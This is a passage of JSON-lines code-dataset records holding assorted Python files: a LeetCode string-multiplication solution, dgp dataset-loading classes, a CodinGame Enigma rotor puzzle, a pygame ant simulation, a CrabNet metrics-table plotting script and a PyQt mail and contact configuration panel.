str\n :rtype: str\n \"\"\"\n num1 = num1[::-1]\n num2 = num2[::-1]\n l, carry = [0] * (len(num1) + len(num2) + 1), 0\n for i, j in enumerate(num1):\n for k, v in enumerate(num2):\n l[i+k] += (ord(j)-48)*(ord(v)-48)\n\n for i in range(len(l)):\n l[i], carry = (l[i] + carry) % 10, (l[i] + carry) // 10\n\n ans = ''.join([str(j) for j in l[:i]]).rstrip('0')\n return ans[::-1] if ans else 0\n\ns = Solution()\nprint(s.multiply('2', '3'))\n","repo_name":"mavis0/LeetCode","sub_path":"Multiply Strings.py","file_name":"Multiply Strings.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21715832760","text":"import itertools\nimport logging\nimport time\nfrom functools import partial\nfrom multiprocessing import Pool, cpu_count\n\nimport numpy as np\nimport xarray as xr\n\nfrom dgp.constants import (\n ALL_ANNOTATION_TYPES,\n DATUM_TYPE_TO_SUPPORTED_ANNOTATION_TYPE,\n)\nfrom dgp.datasets import BaseDataset, DatasetMetadata\n\nSUPPORTED_ANNOTATIONS_TABLE = xr.DataArray(\n np.zeros((len(DATUM_TYPE_TO_SUPPORTED_ANNOTATION_TYPE), len(ALL_ANNOTATION_TYPES)), dtype=bool),\n dims=[\"datum_types\", \"annotations\"],\n coords={\n \"datum_types\": list(DATUM_TYPE_TO_SUPPORTED_ANNOTATION_TYPE),\n \"annotations\": list(ALL_ANNOTATION_TYPES)\n }\n)\nfor datum_type_, annotations_ in DATUM_TYPE_TO_SUPPORTED_ANNOTATION_TYPE.items():\n for annotation_ in annotations_:\n SUPPORTED_ANNOTATIONS_TABLE.loc[datum_type_, annotations_] = True\n\n\nclass _FrameDataset(BaseDataset):\n \"\"\"Single frame dataset.\n See BaseDataset for input parameters for the parent class.\n\n Parameters\n ----------\n dataset_metadata: DatasetMetadata\n Dataset metadata, populated from scene dataset JSON\n\n scenes: list[SceneContainer], default: None\n List of SceneContainers parsed from scene dataset JSON\n\n datum_names: list, default: None\n Select list of datum names for index (see self.select_datums(datum_names)).\n\n requested_annotations: tuple, default: None\n Tuple of annotation types, i.e. ('bounding_box_2d', 'bounding_box_3d'). Should be equivalent\n to directory containing annotation from dataset root.\n\n requested_autolabels: tuple[str], default: None\n Tuple of annotation types similar to `requested_annotations`, but associated with a particular autolabeling model.\n Expected format is \"/\"\n\n only_annotated_datums: bool, default: False\n If True, only datums with annotations matching the requested annotation types are returned.\n \"\"\"\n def __init__(\n self,\n dataset_metadata,\n scenes=None,\n datum_names=None,\n requested_annotations=None,\n requested_autolabels=None,\n only_annotated_datums=False\n ):\n self.only_annotated_datums = only_annotated_datums if requested_annotations else False\n super().__init__(\n dataset_metadata,\n scenes=scenes,\n datum_names=datum_names,\n requested_annotations=requested_annotations,\n requested_autolabels=requested_autolabels\n )\n\n def _build_item_index(self):\n \"\"\"Builds an index of dataset items that refer to the scene index,\n sample index and datum_within_scene index. This refers to a particular dataset\n split. __getitem__ indexes into this look up table.\n\n Returns\n -------\n item_index: list\n List of dataset items that contain index into\n [(scene_idx, sample_within_scene_idx, datum_idx_in_sample), ...].\n \"\"\"\n logging.info(\n f'{self.__class__.__name__} :: Building item index for {len(self.scenes)} scenes, this will take a while.'\n )\n st = time.time()\n # Fetch the item index per-scene based on the selected datums.\n with Pool(cpu_count()) as proc:\n item_index = proc.starmap(\n partial(_FrameDataset._item_index_for_scene, only_annotated_datums=self.only_annotated_datums),\n [(scene_idx, scene) for scene_idx, scene in enumerate(self.scenes)]\n )\n logging.info(f'Index built in {time.time() - st:.2f}s.')\n assert len(item_index) > 0, 'Failed to index items in the dataset.'\n\n # Chain the index across all scenes.\n item_index = list(itertools.chain.from_iterable(item_index))\n # Filter out indices that failed to load.\n item_index = [item for item in item_index if item is not None]\n item_lengths = [len(item_tup) for item_tup in item_index]\n assert all([l == item_lengths[0] for l in item_lengths]\n ), ('All sample items are not of the same length, datum names might be missing.')\n return item_index\n\n @staticmethod\n def _item_index_for_scene(scene_idx, scene, only_annotated_datums):\n st = time.time()\n logging.debug(f'Indexing scene items for {scene.scene_path}')\n scene_item_index = []\n for datum_name in scene.selected_datums:\n samples_for_datum_name = scene.datum_index.loc[:, datum_name]\n # Ignore samples where the selected datum is missing.\n valid_sample_indices = samples_for_datum_name[samples_for_datum_name >= 0].coords[\"samples\"]\n # Skip if there's no sample in the scene contain `datum_name`.\n if valid_sample_indices.size == 0:\n continue\n if not only_annotated_datums:\n # Build the item-index of selected datums for an individual scene.\n scene_item_index.extend([(scene_idx, int(sample_idx), datum_name) for sample_idx in valid_sample_indices\n ])\n logging.debug(f'No annotation filter --- Scene item index built in {time.time() - st:.2f}s.')\n else:\n annotated_samples = scene.annotation_index[samples_for_datum_name[valid_sample_indices], :].any(axis=1)\n scene_item_index.extend([\n (scene_idx, int(sample_idx), datum_name) for sample_idx in valid_sample_indices[annotated_samples]\n ])\n logging.debug(f'Annotation filter -- Scene item index built in {time.time() - st:.2f}s.')\n return scene_item_index\n\n def __len__(self):\n \"\"\"Return the length of the dataset.\"\"\"\n return len(self.dataset_item_index)\n\n def __getitem__(self, index):\n \"\"\"Get the dataset item at index.\n\n Parameters\n ----------\n index: int\n Index of item to get.\n\n Returns\n -------\n data: OrderedDict\n See `get_point_cloud_from_datum` and `get_image_from_datum` for details.\n\n Raises\n ------\n ValueError\n Raised if the datum type of item at index is unsupported.\n \"\"\"\n assert self.dataset_item_index is not None, ('Index is not built, select datums before getting elements.')\n\n # Get dataset item\n scene_idx, sample_idx_in_scene, datum_name = self.dataset_item_index[index]\n datum = self.get_datum(scene_idx, sample_idx_in_scene, datum_name)\n datum_type = datum.datum.WhichOneof('datum_oneof')\n\n if datum_type == 'image':\n datum_data, annotations = self.get_image_from_datum(scene_idx, sample_idx_in_scene, datum_name)\n elif datum_type == 'point_cloud':\n datum_data, annotations = self.get_point_cloud_from_datum(scene_idx, sample_idx_in_scene, datum_name)\n else:\n raise ValueError('Unknown datum type: {}'.format(datum_type))\n\n # TODO: Implement data/annotation load-time transforms, `torchvision` style.\n if annotations:\n datum_data.update(annotations)\n return datum_data\n\n\nclass FrameSceneDataset(_FrameDataset):\n \"\"\"Main entry-point for single-modality dataset. Used for tasks with unordered data,\n i.e. 2D detection.\n\n Parameters\n ----------\n scene_dataset_json: str\n Full path to the scene dataset json holding collections of paths to scene json.\n\n split: str, default: 'train'\n Split of dataset to read (\"train\" | \"val\" | \"test\" | \"train_overfit\").\n\n datum_names: list, default: None\n Select datums for which to build index (see self.select_datums(datum_names)).\n NOTE: All selected datums must be of a the same datum type!\n\n requested_annotations: tuple, default: None\n Tuple of annotation types, i.e. ('bounding_box_2d', 'bounding_box_3d'). Should be equivalent\n to directory containing annotation from dataset root.\n\n requested_autolabels: tuple[str], default: None\n Tuple of annotation types similar to `requested_annotations`, but associated with a particular autolabeling model.\n Expected format is \"/\"\n\n only_annotated_datums: bool, default: False\n If True, only datums with annotations matching the requested annotation types are returned.\n\n use_diskcache: bool, default: True\n If True, cache ScenePb2 object using diskcache. If False, save the object in memory.\n NOTE: Setting use_diskcache to False would exhaust the memory if have a large number of scenes.\n\n skip_missing_data: bool, default: False\n If True, check for missing files and skip during datum index building.\n \"\"\"\n def __init__(\n self,\n scene_dataset_json,\n split='train',\n datum_names=None,\n requested_annotations=None,\n requested_autolabels=None,\n only_annotated_datums=False,\n use_diskcache=True,\n skip_missing_data=False,\n ):\n if not use_diskcache:\n logging.warning('Instantiating a dataset with use_diskcache=False may exhaust memory with a large dataset.')\n\n # Extract all scenes from the scene dataset JSON for the appropriate split\n scenes = BaseDataset._extract_scenes_from_scene_dataset_json(\n scene_dataset_json,\n split,\n requested_autolabels,\n is_datums_synchronized=False,\n use_diskcache=use_diskcache,\n skip_missing_data=skip_missing_data,\n )\n\n # Return SynchronizedDataset with scenes built from dataset.json\n dataset_metadata = DatasetMetadata.from_scene_containers(scenes, requested_annotations, requested_autolabels)\n super().__init__(\n dataset_metadata,\n scenes=scenes,\n datum_names=datum_names,\n requested_annotations=requested_annotations,\n requested_autolabels=requested_autolabels,\n only_annotated_datums=only_annotated_datums\n )\n\n\nclass FrameScene(_FrameDataset):\n \"\"\"Main entry-point for single-modality dataset using a single scene JSON as input.\n\n NOTE: This class can be used to introspect a single scene given a scene\n directory with its associated scene JSON.\n\n Parameters\n ----------\n scene_json: str\n Full path to the scene json.\n\n datum_names: list, default: None\n Select datums for which to build index (see self.select_datums(datum_names)).\n NOTE: All selected datums must be of a the same datum type!\n\n requested_annotations: tuple, default: None\n Tuple of annotation types, i.e. ('bounding_box_2d', 'bounding_box_3d'). Should be equivalent\n to directory containing annotation from dataset root.\n\n requested_autolabels: tuple[str], default: None\n Tuple of annotation types similar to `requested_annotations`, but associated with a particular autolabeling model.\n Expected format is \"/\"\n\n only_annotated_datums: bool, default: False\n If True, only datums with annotations matching the requested annotation types are returned.\n\n use_diskcache: bool, default: True\n If True, cache ScenePb2 object using diskcache. If False, save the object in memory.\n NOTE: Setting use_diskcache to False would exhaust the memory if have a large number of scenes.\n\n skip_missing_data: bool, default: False\n If True, check for missing files and skip during datum index building.\n \"\"\"\n def __init__(\n self,\n scene_json,\n datum_names=None,\n requested_annotations=None,\n requested_autolabels=None,\n only_annotated_datums=False,\n use_diskcache=True,\n skip_missing_data=False,\n ):\n if not use_diskcache:\n logging.warning('Instantiating a dataset with use_diskcache=False may exhaust memory with a large dataset.')\n\n # Extract a single scene from the scene JSON\n scene = BaseDataset._extract_scene_from_scene_json(\n scene_json,\n requested_autolabels,\n is_datums_synchronized=False,\n use_diskcache=use_diskcache,\n skip_missing_data=skip_missing_data,\n )\n\n # Return SynchronizedDataset with scenes built from dataset.json\n dataset_metadata = DatasetMetadata.from_scene_containers([scene], requested_annotations, requested_autolabels)\n super().__init__(\n dataset_metadata,\n scenes=[scene],\n datum_names=datum_names,\n requested_annotations=requested_annotations,\n requested_autolabels=requested_autolabels,\n only_annotated_datums=only_annotated_datums\n )\n","repo_name":"TRI-ML/dgp","sub_path":"dgp/datasets/frame_dataset.py","file_name":"frame_dataset.py","file_ext":"py","file_size_in_byte":12695,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"31"} +{"seq_id":"10977484400","text":"import sys\n\n# the standard input according to the problem statement.\noperation = input()\npseudo_random_number = int(input())\nprint(pseudo_random_number, file=sys.stderr, flush=True)\nrotor0 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\nrotor1 = input()\nrotor2 = input()\nrotor3 = input()\nprint(rotor1, file=sys.stderr, flush=True)\nprint(rotor2, file=sys.stderr, flush=True)\nprint(rotor3, file=sys.stderr, flush=True)\n\nmessage = input()\nprint(message, file=sys.stderr, flush=True)\n\nif operation == \"ENCODE\":\n for i in range(len(message)):\n # encode1 = chr(ord(message[i]) + pseudo_random_number + i)\n encode1 = rotor0[(rotor0.find(message[i]) + pseudo_random_number + i) % 26]\n encode2 = rotor1[rotor0.find(encode1)]\n encode3 = rotor2[rotor0.find(encode2)]\n encode4 = rotor3[rotor0.find(encode3)]\n print(encode2 + encode3 + encode4, file=sys.stderr, flush=True)\n print(encode4, end = \"\")\nelif operation == \"DECODE\":\n for i in range(len(message)):\n decode1 = rotor0[rotor3.find(message[i])]\n decode2 = rotor0[rotor2.find(decode1)]\n decode3 = rotor0[rotor1.find(decode2)]\n decode4 = rotor0[(rotor0.find(decode3) - pseudo_random_number - i) % 26]\n print(decode4, end = \"\")\n\n","repo_name":"Tianorder/CodinGame","sub_path":"puzzles/easy/encryptiondecryption-of-enigma-machine/encryptiondecryption-of-enigma-machine.py","file_name":"encryptiondecryption-of-enigma-machine.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37048079473","text":"tt = (\r\n [1, 2, 3],\r\n {},\r\n (4, 5, 6)\r\n)\r\n\r\nprint(tt)\r\n\r\ntt[0].append(-5)\r\nprint(tt)\r\n\r\ntt[1][\"one\"] = 1\r\nprint(tt)\r\n\r\n# The starting tuple still consists of a list, dictionary and tuple\r\n# The object inside the tuples can be changed if the object is mutable\r\n","repo_name":"KristianAleksiev/Python-Advanced","sub_path":"03.Tuples_and_Sets/nested_tuples.py","file_name":"nested_tuples.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38288527245","text":"import sys, pygame\r\nimport random\r\nimport numpy as np\r\nfrom Ant import Ant\r\nfrom AntSwarm import AntSwarm\r\nfrom Fruit import Fruit\r\nfrom FruitList import FruitList\r\nfrom Home import Home\r\nfrom AntController import AntController\r\nfrom FoodBitList import FoodBitList\r\nfrom ScentList import ScentList\r\nfrom Algorithms import AStar\r\nfrom ObstacleList import ObstacleList\r\n\r\npygame.init()\r\n\r\nwindow_size = width, height = 1000, 1000\r\nspeed = [0, 0]\r\nbackground_color = 0, 0, 0\r\nscreen = pygame.display.set_mode(window_size)\r\n\r\nswarm_size = 50\r\n\r\nant_controller = AntController()\r\n\r\nhome_source_image = pygame.image.load('Home.png')\r\nhome = Home(screen, ant_controller, swarm_size, home_source_image, [window_size[0]/2, window_size[1]/2])\r\n#home.move( (window_size[0]/2) - (home.width/2), window_size[1]/2 - home.height/2 )\r\n\r\nant_source_image = pygame.image.load('Ant.png')\r\nswarm = AntSwarm(swarm_size, [window_size[0]/2, window_size[1]/2], screen, ant_source_image, home, ant_controller)\r\n\r\nfruit_source_image = pygame.image.load('Fruit_Large.png')\r\nfruit_list = FruitList(screen, 3, fruit_source_image, ant_controller, 1000000)\r\nfruit_list.randomizePositions()\r\nant_controller.fruit_list = fruit_list\r\n\r\nobstacle_source_images = []\r\nobstacle_source_images.append( pygame.image.load('Obstacle_1.png') )\r\nobstacle_source_images.append( pygame.image.load('Obstacle_2.png') )\r\nobstacle_source_images.append( pygame.image.load('Obstacle_3.png') )\r\nobstacle_source_images.append( pygame.image.load('Obstacle_4.png') )\r\nobstacle_list = ObstacleList( screen, ant_controller, obstacle_source_images, 40 )\r\n\r\nfoodbit_source_image = pygame.image.load('Food_Bit.png')\r\nfoodbit_list = FoodBitList(screen, foodbit_source_image, ant_controller)\r\n\r\nscent_list = ScentList(screen, ant_controller, ant_source_image)\r\n\r\na_star = AStar()\r\n\r\nant_controller.ant_swarm = swarm\r\nant_controller.home = home\r\nant_controller.foodbit_list = foodbit_list\r\nant_controller.scent_list = scent_list\r\nant_controller.a_star = a_star\r\nant_controller.obstacle_list = obstacle_list\r\n\r\nclock = pygame.time.Clock()\r\n\r\n#Main loop\r\nwhile 1:\r\n\tfor event in pygame.event.get():\r\n\t\tif event.type == pygame.QUIT: sys.exit()\r\n\r\n\t#This needs to go before we draw anything, so the stuff gets drawn on top\r\n\tscreen.fill(background_color)\r\n\r\n\t#Placing the scent updates here because I want them to render behind literally everything for now\r\n\tscent_list.updateAll()\r\n\r\n\t#I think it matters where we place the drawing of an image so, im placing home at the top\r\n\thome.update()\r\n\r\n\t#I'm torn about where to put this so it's here for now\r\n\tobstacle_list.updateAll()\r\n\r\n\t#Temporary birth code, I'll keep it because it doesn't harm anything but I need to move it to swarm.live()\r\n\tbirth_chance = random.SystemRandom().randint(0, 500)\r\n\tif birth_chance == 8:\r\n\t\tswarm.give_birth()\r\n\r\n\t#Ants need to check their environment every tick, for hitbox detection\r\n\tswarm.environmentCheck(fruit_list)\r\n\t#This function handles all of the ants' possible behaviors\r\n\tswarm.live()\r\n\r\n\t#This ensures that the fruit is being drawn on the screen\r\n\tfruit_list.updateAll()\r\n\tfoodbit_list.updateAll()\r\n\r\n\tpygame.display.flip()\r\n\tclock.tick(144)\r\n\r\n\r\n\r\n\r\n","repo_name":"Ziegenkonig/Ant","sub_path":"AInt.py","file_name":"AInt.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33231284115","text":"import os\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\n\nfrom utils.utils import CONSTANTS\n\n\n# %%\ncons = CONSTANTS()\n\nfor benchmark in [True, False]:\n df = pd.read_csv('metrics/all_metrics.csv')\n drop = ['n_total', 'n_val',\n 'prop_train', 'prop_val', 'prop_test']\n df = df.drop(columns=drop, axis=0)\n df.index = df['property'].values\n\n if benchmark:\n convert = cons.benchmark_names_dict\n data_dir = 'data/benchmark_data/'\n properties = os.listdir(data_dir)\n\n else:\n convert = cons.matbench_names_dict\n data_dir = 'data/matbench/'\n drop = ['expt_is_metal', 'glass', 'mp_is_metal']\n properties = [p[:-4] for p in os.listdir(data_dir) if p[:-4] not in drop]\n\n data_values = df.loc[properties].values\n\n\n # %%\n def color_scale_r2(value, min_val, max_val):\n n_colors = 100\n pal = sns.light_palette((210, 80, 50),\n input=\"husl\",\n n_colors=n_colors * 1.0)\n diff = value - min_val\n idx = int((n_colors - 1) * (diff) / (max_val - min_val))\n color = pal[idx]\n return color\n\n\n def color_scale_mae(value, min_val, max_val):\n n_colors = 100\n pal = sns.diverging_palette(240, 10,\n n=n_colors * 1.0)\n diff = value - min_val\n idx = int((n_colors - 1) * (diff) / (max_val - min_val))\n color = pal[idx]\n\n if value < 0:\n color = '#fab098'\n\n return color\n\n\n # %%\n\n if benchmark:\n fig, ax = plt.subplots(figsize=(13, 9))\n else:\n fig, ax = plt.subplots(figsize=(13, 5))\n\n cell_h = 1\n cell_w = 1\n cell_width = 7\n left_bound = 14\n n_columns = 6\n\n for i, array in enumerate(data_values):\n\n denominator = 75 # add buffer to color scale bounds \"max + std/demoniator\"\n r2_max = np.nanmax(array[1:n_columns]) + array[n_columns+4]/denominator\n r2_min = np.nanmin(array[1:n_columns]) - array[n_columns+4]/denominator\n\n if i == 0:\n for j in range(1, n_columns):\n rect = Rectangle([j*cell_width, len(data_values)],\n cell_width * cell_w,\n 1 * cell_h,\n facecolor='w',\n edgecolor='k')\n ax.add_patch(rect)\n rect = Rectangle([j*cell_width, len(data_values)],\n cell_width * cell_w,\n 1 * cell_h,\n facecolor='w',\n edgecolor='k')\n ax.add_patch(rect)\n rect = Rectangle([j*cell_width, len(data_values)],\n cell_width * cell_w,\n 1 * cell_h,\n facecolor='w',\n edgecolor='k')\n ax.add_patch(rect)\n\n for j, value in enumerate(array):\n # print(value)\n # j = j\n if j == 0:\n rect = Rectangle([j-left_bound, i],\n (left_bound+cell_width) * cell_w,\n 1 * cell_h,\n facecolor='w', edgecolor='k')\n ax.add_patch(rect)\n\n if j >= 1 and j < n_columns:\n # print(array[0], j)\n value = float(value)\n if np.isnan(value) or np.isnan(r2_min) or np.isnan(r2_max):\n print('nan values found')\n rect = Rectangle([j*cell_width, len(data_values) - i - 1],\n cell_width * cell_w,\n 1 * cell_h,\n facecolor='gray',\n edgecolor='k')\n else:\n if j in [j * cell_w for j in range(len(array))]:\n\n # if j == n_columns-1:\n if value > r2_max or value < r2_min:\n rect = Rectangle([j*cell_width,\n len(data_values) - i - 1],\n cell_width * cell_w,\n 1 * cell_h,\n facecolor='gray',\n edgecolor='k')\n else:\n rect = Rectangle([j*cell_width,\n len(data_values) - i - 1],\n cell_width * cell_w,\n 1 * cell_h,\n facecolor=color_scale_mae(value,\n r2_min,\n r2_max),\n edgecolor='k')\n ax.add_patch(rect)\n\n if j == 0:\n eformat = False\n if value == 'aflow__agl_thermal_expansion_300K':\n eformat = True\n plt.text(j - left_bound + (0.5 * cell_w),\n len(data_values) - (i + (0.5 * cell_h)),\n f'{convert[value]}',\n verticalalignment='center',\n horizontalalignment='left')\n\n elif j >= 1 and j < n_columns:\n if eformat:\n plt.text(j*cell_width + (1 * cell_width/2),\n len(data_values) - (i + (0.5 * cell_h)),\n f'{value:0.2e}',\n verticalalignment='center',\n horizontalalignment='center')\n else:\n plt.text(j*cell_width + (1 * cell_width/2),\n len(data_values) - (i + (0.5 * cell_h)),\n f'{value:0.3f}',\n verticalalignment='center',\n horizontalalignment='center')\n\n\n plt.xlim(0-left_bound, cell_width*n_columns)\n plt.ylim(0, len(data_values)*cell_h+1)\n\n plt.tick_params(\n axis='both',\n which='both',\n bottom=False,\n top=False,\n left=False,\n right=False,\n labelbottom=False,\n labelleft=False)\n\n if benchmark:\n plt.text(-left_bound + (cell_width + left_bound)/2,\n len(data_values)*cell_h+0.5, 'Extended Properties',\n verticalalignment='center',\n horizontalalignment='center')\n else:\n plt.text(-left_bound + (cell_width + left_bound)/2,\n len(data_values)*cell_h+0.5, 'MatBench Properties',\n verticalalignment='center',\n horizontalalignment='center')\n\n plt.text(1*cell_width + (1 * cell_width/2),\n len(data_values)*cell_h+0.5, 'Roost',\n verticalalignment='center',\n horizontalalignment='center')\n\n plt.text(2*cell_width + (1 * cell_width/2),\n len(data_values)*cell_h+0.5, 'CrabNet',\n verticalalignment='center',\n horizontalalignment='center')\n\n plt.text(3*cell_width + (1 * cell_width/2),\n len(data_values)*cell_h+0.5, 'HotCrab',\n verticalalignment='center',\n horizontalalignment='center')\n\n plt.text(4*cell_width + (1 * cell_width/2),\n len(data_values)*cell_h+0.5, 'ElemNet',\n verticalalignment='center',\n horizontalalignment='center')\n\n plt.text(5*cell_width + (1 * cell_width/2),\n len(data_values)*cell_h+0.5, 'RF',\n verticalalignment='center',\n horizontalalignment='center')\n\n\n outpath = os.path.join('figures/')\n\n if benchmark:\n save_name = os.path.join(outpath, 'Table2_benchmark_metrics.png')\n else:\n save_name = os.path.join(outpath, 'Table2_matbench_metrics.png')\n\n plt.savefig(save_name, dpi=300, bbox_inches='tight')\n plt.show()\n\n","repo_name":"anthony-wang/CrabNet","sub_path":"publication_CrabNet/Paper_TABLE_2.py","file_name":"Paper_TABLE_2.py","file_ext":"py","file_size_in_byte":8131,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"31"} +{"seq_id":"25405867158","text":"from PyQt4.QtGui import (\n QCheckBox, QGridLayout, QGroupBox, QLabel, QSpacerItem, QSizePolicy,\n QFrame, QComboBox, QMessageBox, QLineEdit, QInputDialog\n )\nfrom PyQt4.QtCore import SIGNAL\n\nfrom functools import partial\nfrom ufwi_rpcd.common import tr\nfrom ufwi_rpcd.common.validators import check_mail\nfrom ufwi_rpcc_qt.input_widgets import Button\nfrom ufwi_conf.client.qt.widgets import ScrollArea\nfrom ufwi_conf.client.qt.ip_inputs import IpOrFqdnEdit, MailEdit\nfrom ufwi_conf.client.services.mail.q_mail_object import QMailObject\nfrom ufwi_conf.common.contact_cfg import ContactConf\n\nclass ContactFrontend(ScrollArea):\n COMPONENT = 'contact'\n LABEL = tr('Contact and mail')\n REQUIREMENTS = ('contact',)\n ICON = ':/icons/edit.png'\n\n def __init__(self, client, parent):\n ScrollArea.__init__(self)\n self.client = client\n self.mainwindow = parent\n self._modified = False\n self.error_message = ''\n self.config = None\n frame = QFrame(self)\n layout = QGridLayout(frame)\n\n title = QLabel(u'

    %s

    ' % tr('Contact Configuration'))\n layout.addWidget(title, 0, 0)\n\n self.admin_mail = self.buildAdminMail(layout, 1, 0)\n self.sender_mail = self.buildSenderMail(layout, 2, 0)\n self.smarthost_group, self.use_smarthost, self.mail_relay = \\\n self.buildOutgoing(layout, 3, 0)\n self.language = self.buildChooseLanguage(layout, 4, 0)\n self.buildTestMail(layout, 5, 0)\n layout.setRowStretch(6, 15)\n\n self.setWidget(frame)\n self.setWidgetResizable(True)\n\n self.resetConf()\n self.mainwindow.addToInfoArea(tr('Contact interface enabled'))\n\n @staticmethod\n def get_calls():\n \"\"\"\n services called by initial multicall\n \"\"\"\n return ( (\"contact\", 'getContactConfig'), )\n\n def resetConf(self):\n self._modified = False\n\n serialized = self.mainwindow.init_call(\"contact\", u'getContactConfig')\n self.config = ContactConf.deserialize(serialized)\n\n self.admin_mail.setText(self.config.admin_mail)\n self.sender_mail.setText(self.config.sender_mail)\n\n if self.config.language in ContactConf.CODE_TO_NAME:\n lang_id = self.language.findText(ContactConf.CODE_TO_NAME[self.config.language])\n self.language.setCurrentIndex(lang_id)\n\n smarthost = QMailObject.getInitializedInstance(self.client).mailcfg.smarthost\n self.use_smarthost.setChecked(bool(smarthost))\n self.mail_relay.setEnabled(self.use_smarthost.isChecked())\n self.mail_relay.setText(smarthost)\n self.smarthost_group.setVisible(True)\n\n def saveConf(self, message):\n assert self._modified\n\n serialized = self.config.serialize(downgrade=True)\n self.client.call(\"contact\", 'setContactConfig', serialized, message)\n\n self.setModified(False)\n\n self.mainwindow.addToInfoArea(tr('contact configuration saved'))\n\n def setModified(self, isModified=True, message=\"\"):\n self._modified = isModified\n if self._modified:\n self.mainwindow.setModified(self, True)\n if message:\n self.mainwindow.addToInfoArea(message)\n\n def isModified(self):\n return self._modified\n\n def isValid(self):\n ok, self.error_message = self.config.isValidWithMsg()\n return ok\n\n def buildAdminMail(self, layout, row, col):\n admin_mail = QGroupBox(self)\n admin_mail.setTitle(tr(\"Administrator email address\"))\n admin_mail_layout = QGridLayout(admin_mail)\n admin_mail_info = QLabel(tr(\"Administrator email address (EdenWall will send the system alerts to this address)\"))\n admin_mail_info.setWordWrap(True)\n admin_mail_edit = MailEdit()\n admin_mail_edit.setMinimumWidth(admin_mail_edit.fontMetrics().averageCharWidth() * 15)\n admin_mail_edit.setMaximumWidth(admin_mail_edit.fontMetrics().averageCharWidth() * 45)\n admin_mail_layout.addWidget(admin_mail_info, 0, 0)\n admin_mail_layout.addWidget(admin_mail_edit, 1, 0)\n admin_mail_layout.addItem(QSpacerItem(0, 0, QSizePolicy.Expanding, QSizePolicy.Minimum) , 2, 0)\n self.connect(admin_mail_edit, SIGNAL('textEdited(QString)'), self.setAdminMail)\n layout.addWidget(admin_mail, row, col)\n self.mainwindow.writeAccessNeeded(admin_mail_info, admin_mail_edit)\n return admin_mail_edit\n\n def buildSenderMail(self, layout, row, col):\n sender_mail = QGroupBox(self)\n sender_mail.setTitle(tr(\"Sender email address for system messages\"))\n sender_mail_layout = QGridLayout(sender_mail)\n\n sender_mail_info = QLabel(\n tr(\"Email address that will be used as the sender address in the emails sent to the administrator by EdenWall.\")\n )\n sender_mail_info.setWordWrap(True)\n sender_mail_edit = MailEdit()\n sender_mail_edit.setMinimumWidth(sender_mail_edit.fontMetrics().averageCharWidth() * 15)\n sender_mail_edit.setMaximumWidth(sender_mail_edit.fontMetrics().averageCharWidth() * 45)\n sender_mail_layout.addWidget(sender_mail_info, 0, 0)\n sender_mail_layout.addWidget(sender_mail_edit, 1, 0)\n sender_mail_layout.addItem(QSpacerItem(0, 0, QSizePolicy.Expanding, QSizePolicy.Minimum) , 2, 0)\n self.connect(sender_mail_edit, SIGNAL('textEdited(QString)'), self.setSenderMail)\n layout.addWidget(sender_mail, row, col)\n self.mainwindow.writeAccessNeeded(sender_mail_info, sender_mail_edit)\n return sender_mail_edit\n\n def buildOutgoing(self, layout, row, col):\n outgoing = QGroupBox(self)\n outgoing.setTitle(tr('Outgoing emails'))\n outgoing_layout = QGridLayout(outgoing)\n\n use_smarthost = QCheckBox()\n outgoing_layout.addWidget(QLabel(tr('Use smarthost')), 1, 0)\n outgoing_layout.addWidget(use_smarthost, 1, 1)\n\n mail_relay = IpOrFqdnEdit()\n outgoing_layout.addWidget(QLabel(tr('Host which relays EdenWall emails')), 2, 0)\n outgoing_layout.addWidget(mail_relay, 2, 1)\n self.mainwindow.writeAccessNeeded(use_smarthost, mail_relay)\n\n self.connect(use_smarthost, SIGNAL('toggled(bool)'), mail_relay.setEnabled)\n self.connect(use_smarthost, SIGNAL('clicked()'),\n partial(self.setModified, True))\n self.connect(mail_relay, SIGNAL('textEdited(QString)'), self.setSmarthost)\n\n layout.addWidget(outgoing, row, col)\n return outgoing, use_smarthost, mail_relay\n\n def buildChooseLanguage(self, layout, row, col):\n language = QGroupBox(self)\n language.setTitle(tr('Language for emails'))\n language_layout = QGridLayout(language)\n language_info = QLabel(tr('Language for emails sent by EdenWall to the Administrator'))\n language_info.setWordWrap(True)\n language_choose = QComboBox()\n for name in ContactConf.CODE_TO_NAME.itervalues():\n language_choose.addItem(name)\n language_layout.addWidget(language_info, 0, 0, 1, 0)\n language_layout.addWidget(language_choose, 1, 0)\n language_layout.addItem(QSpacerItem(0, 0, QSizePolicy.Expanding, QSizePolicy.Minimum) , 1, 1)\n self.connect(language_choose, SIGNAL('activated(QString)'), self.setLanguage)\n layout.addWidget(language, row, col)\n self.mainwindow.writeAccessNeeded(language_info, language_choose)\n return language_choose\n\n def buildTestMail(self, layout, row, col):\n test = QGroupBox(self)\n test.setTitle(tr('Test for emails'))\n test_layout = QGridLayout(test)\n test_info = QLabel(tr(\n \"To check the configuration, you can send a test \"\n \"email to your contact email address. Be sure to configure the \"\n \"smarthost in the Mail page if needed.\"\n ))\n test_info.setWordWrap(True)\n test_button = Button(text=tr('Send test email'), flat=False)\n test_layout.addWidget(test_info, 0, 0, 1, 0)\n test_layout.addWidget(test_button, 1, 0)\n test_layout.addItem(QSpacerItem(0, 0, QSizePolicy.Expanding, QSizePolicy.Minimum) , 1, 1)\n self.connect(test_button, SIGNAL('clicked()'), self.sendTestMail)\n layout.addWidget(test, row, col)\n self.mainwindow.writeAccessNeeded(test_info, test_button)\n return test_button\n\n def sendTestMail(self):\n title = None\n query = None\n default = \"\"\n dest = self.config.admin_mail\n if not dest:\n title = tr('No default recipient')\n query = tr('contact email address is empty, enter a recipient:')\n elif not check_mail(dest):\n title = tr('contact email address is invalid')\n query = tr('Fix contact email address:')\n default = dest\n\n if title is not None:\n dest, validated = QInputDialog.getText(self, title, query, 